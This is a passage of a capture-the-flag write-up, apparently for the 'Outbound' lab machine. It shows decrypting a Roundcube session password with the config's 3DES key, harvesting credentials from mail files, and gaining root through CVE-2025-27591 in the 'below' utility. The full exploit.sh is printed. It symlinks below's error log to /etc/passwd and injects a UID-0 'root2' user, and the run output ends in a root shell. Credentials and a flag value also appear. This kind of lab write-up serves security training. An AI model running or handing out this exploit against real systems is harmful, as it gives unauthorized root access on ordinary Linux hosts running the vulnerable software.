ost|s:9:"localhost";page|i:1;mbox|s:5:"INBOX";sort_col|s:0:"";sort_order|s:4:"DESC";STORAGE_THREAD|a:3:{i:0;s:10:"REFERENCES";i:1;s:4:"REFS";i:2;s:14:"ORDEREDSUBJECT";}STORAGE_QUOTA|b:0;STORAGE_LIST-EXTENDED|b:1;list_attrib|a:6:{s:4:"name";s:8:"messages";s:2:"id";s:11:"messagelist";s:5:"class";s:42:"listing messagelist sortheader fixedheader";s:15:"aria-labelledby";s:22:"aria-label-messagelist";s:9:"data-list";s:12:"message_list";s:14:"data-label-msg";s:18:"The list is empty.";}unseen_count|a:2:{s:5:"INBOX";i:2;s:5:"Trash";i:0;}folders|a:1:{s:5:"INBOX";a:2:{s:3:"cnt";i:2;s:6:"maxuid";i:3;}}list_mod_seq|s:2:"10";
Its jacob session!, let’s try to obtain the password We retrieve the password field, and decrypt it by using des_key known at config file by using the website: https://keydecryptor.com/decryption-tools/roundcube
3DES encryption/decryption with fixed IV is implemented by roundcube, so it’s actually easy to decrypt
Good! Let’s try to use jacob:595mO8DmwGeD to login:
1
2
3
jacob@mail:/home/tyler$ id
uid=1001(jacob) gid=1001(jacob) groups=1001(jacob)
jacob@mail:/home/tyler$
Lateral Movement (mel)
However, jacob home directories doesn’t include any users.txt, we have to lateral movement to mel again.
Good thing is, when enumerating the items within the home directory of jacob, we can found a trash mail:
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
jacob@mail:~/mail$ cat Trash
From MAILER_DAEMON Sat Jun 07 13:59:23 2025
Date: Sat, 07 Jun 2025 13:59:23 +0000
From: Mail System Internal Data <MAILER-DAEMON@mail>
Subject: DON'T DELETE THIS MESSAGE -- FOLDER INTERNAL DATA
Message-ID: <1749304763@mail>
X-IMAP: 1749304751 0000000001
Status: RO
This text is part of the internal format of your mail folder, and is not
a real message. It is created automatically by the mail system software.
If deleted, important folder data will be lost, and it will be re-created
with the data reset to initial values.
jacob@mail:~/mail$
And we can view the mail inbox:
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
jacob@mail:~/mail/INBOX$ cat jacob
From tyler@outbound.htb Sat Jun 07 14:00:58 2025
Return-Path: <tyler@outbound.htb>
X-Original-To: jacob
Delivered-To: jacob@outbound.htb
Received: by outbound.htb (Postfix, from userid 1000)
id B32C410248D; Sat, 7 Jun 2025 14:00:58 +0000 (UTC)
To: jacob@outbound.htb
Subject: Important Update
MIME-Version: 1.0
Content-Type: text/plain; charset="UTF-8"
Content-Transfer-Encoding: 8bit
Message-Id: <20250607140058.B32C410248D@outbound.htb>
Date: Sat, 7 Jun 2025 14:00:58 +0000 (UTC)
From: tyler@outbound.htb
X-IMAPbase: 1749304753 0000000002
X-UID: 1
Status:
X-Keywords:
Content-Length: 233
Due to the recent change of policies your password has been changed.
Please use the following credentials to log into your account: gY4Wr3a1evp4
Remember to change your password when you next log into your account.
Thanks!
Tyler
From mel@outbound.htb Sun Jun 08 12:09:45 2025
Return-Path: <mel@outbound.htb>
X-Original-To: jacob
Delivered-To: jacob@outbound.htb
Received: by outbound.htb (Postfix, from userid 1002)
id 1487E22C; Sun, 8 Jun 2025 12:09:45 +0000 (UTC)
To: jacob@outbound.htb
Subject: Unexpected Resource Consumption
MIME-Version: 1.0
Content-Type: text/plain; charset="UTF-8"
Content-Transfer-Encoding: 8bit
Message-Id: <20250608120945.1487E22C@outbound.htb>
Date: Sun, 8 Jun 2025 12:09:45 +0000 (UTC)
From: mel@outbound.htb
X-UID: 2
Status:
X-Keywords:
Content-Length: 261
We have been experiencing high resource consumption on our main server.
For now we have enabled resource monitoring with Below and have granted you privileges to inspect the the logs.
Please inform us immediately if you notice any irregularities.
Thanks!
Mel
what we knows is:
- A default password
gY4Wr3a1evp4is provided - We have the privileges to inspect the logs (of what?)
If we just use the default password to login mel, we would failed. However, if we use that default password to login as ssh, we would successfully to login as jacob
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
┌──(parallels㉿kali-linux-2025-2)-[~/Documents/linux-tools]
└─$ ssh jacob@outbound.htb
jacob@outbound.htb's password:
Welcome to Ubuntu 24.04.2 LTS (GNU/Linux 6.8.0-63-generic x86_64)
* Documentation: https://help.ubuntu.com
* Management: https://landscape.canonical.com
* Support: https://ubuntu.com/pro
System information as of Thu Oct 23 07:05:05 AM UTC 2025
System load: 0.06 Processes: 265
Usage of /: 74.8% of 6.73GB Users logged in: 0
Memory usage: 12% IPv4 address for eth0: 10.129.83.77
Swap usage: 0%
Expanded Security Maintenance for Applications is not enabled.
0 updates can be applied immediately.
Enable ESM Apps to receive additional future security updates.
See https://ubuntu.com/esm or run: sudo pro status
The list of available updates is more than a week old.
To check for new updates run: sudo apt update
Last login: Tue Jul 22 10:17:57 2025 from 10.10.14.77
jacob@outbound:~$
Then we would successfully discover user.txt inside the home directory of jacob.
Privilege Escalation
1
2
3
4
5
6
7
jacob@outbound:~$ sudo -l
Matching Defaults entries for jacob on outbound:
env_reset, mail_badpass, secure_path=/usr/local/sbin\:/usr/local/bin\:/usr/sbin\:/usr/bin\:/sbin\:/bin\:/snap/bin, use_pty
User jacob may run the following commands on outbound:
(ALL : ALL) NOPASSWD: /usr/bin/below *, !/usr/bin/below --config*, !/usr/bin/below --debug*, !/usr/bin/below -d*
jacob@outbound:~$
we can run sudo as the command show above, we can try to execute the binary to see what it does.
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
jacob@outbound:~$ sudo /usr/bin/below --help
Usage: below [OPTIONS] [COMMAND]
Commands:
live Display live system data (interactive) (default)
record Record local system data (daemon mode)
replay Replay historical data (interactive)
debug Debugging facilities (for development use)
dump Dump historical data into parseable text format
snapshot Create a historical snapshot file for a given time range
help Print this message or the help of the given subcommand(s)
Options:
--config <CONFIG> [default: /etc/below/below.conf]
-d, --debug
-h, --help Print help
https://github.com/facebookincubator/below
It seems like below is an interactive tool to view and record historical system data. It also support snapshot to create a replayable snapshot file or historical system data.
By searching the related vulnerability, I found https://github.com/rvizx/CVE-2025-27591
where to exploit that when below snapshot, it will forcibly set mode 0666 on the log file and writes to it if we using sudo permission. However, it doesn’t check the log file is or not a symlink. That is, we can abuse sudo write to the error log, which the log is replaced to symlink connect to /etc/passwd and write our malicious root user inside.
We first check the permissions of the error log file:
1
2
3
4
5
6
7
8
jacob@outbound:~$ ls -la /var/log/below/
total 16
drwxrwxrwx 3 root root 4096 Oct 23 07:16 .
drwxrwxr-x 13 root syslog 4096 Oct 23 05:48 ..
-rw-rw-rw- 1 jacob jacob 236 Jul 8 20:45 error_jacob.log
-rw-rw-rw- 1 root root 0 Oct 23 07:16 error_root.log
drwxr-xr-x 2 root root 4096 Oct 23 05:48 store
Good, we have write permissions over error_root.log, lets try to execute the script:
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
[*] CVE-2025-27591 Privilege Escalation Exploit
[*] Checking sudo permissions...
[*] Backing up /etc/passwd to /tmp/passwd.bak
[*] Generating password hash...
[*] Creating malicious passwd line...
[*] Linking /var/log/below/error_root.log to /etc/passwd
[*] Triggering 'below' to write to symlinked log...
[*] Injecting malicious user into /etc/passwd
[*] Try switching to 'root2' using password: rooted123
Password:
root2@outbound:/tmp# cd /root
root2@outbound:~# ls
root.txt
root2@outbound:~# cat root.txt
12f89571f2b6dcb95eb5ef9d0d996976
root2@outbound:~# exit
exit
jacob@outbound:/tmp$ cat exploit.sh
#!/bin/bash
# CVE-2025-27591 Exploit - Privilege Escalation via 'below'
TARGET="/etc/passwd"
LINK_PATH="/var/log/below/error_root.log"
TMP_PAYLOAD="/tmp/payload"
BACKUP="/tmp/passwd.bak"
echo "[*] CVE-2025-27591 Privilege Escalation Exploit"
# Check for sudo access to below
echo "[*] Checking sudo permissions..."
if ! sudo -l | grep -q '/usr/bin/below'; then
echo "[!] 'below' is not available via sudo. Exiting."
exit 1
fi
# Backup current /etc/passwd
echo "[*] Backing up /etc/passwd to $BACKUP"
cp /etc/passwd "$BACKUP"
# Generate password hash for 'root2' user (password: rooted123)
echo "[*] Generating password hash..."
HASH=$(openssl passwd -6 'rooted123')
# Prepare malicious passwd line
echo "[*] Creating malicious passwd line..."
echo "root2:$HASH:0:0:root:/root:/bin/bash" > "$TMP_PAYLOAD"
# Create symlink
echo "[*] Linking $LINK_PATH to $TARGET"
rm -f "$LINK_PATH"
ln -sf "$TARGET" "$LINK_PATH"
# Trigger log creation with invalid --time to force below to recreate the log
echo "[*] Triggering 'below' to write to symlinked log..."
sudo /usr/bin/below replay --time "invalid" >/dev/null 2>&1
# Overwrite passwd file via symlink
echo "[*] Injecting malicious user into /etc/passwd"
cat "$TMP_PAYLOAD" > "$LINK_PATH"
# Test access
echo "[*] Try switching to 'root2' using password: rooted123"
su root2
1
2
3
4
5
6
7
8
9
10
11
12
jacob@outbound:/tmp$ ./exploit.sh
[*] CVE-2025-27591 Privilege Escalation Exploit
[*] Checking sudo permissions...
[*] Backing up /etc/passwd to /tmp/passwd.bak
[*] Generating password hash...
[*] Creating malicious passwd line...
[*] Linking /var/log/below/error_root.log to /etc/passwd
[*] Triggering 'below' to write to symlinked log...
[*] Injecting malicious user into /etc/passwd
[*] Try switching to 'root2' using password: rooted123
Password:
root2@outbound:/tmp#




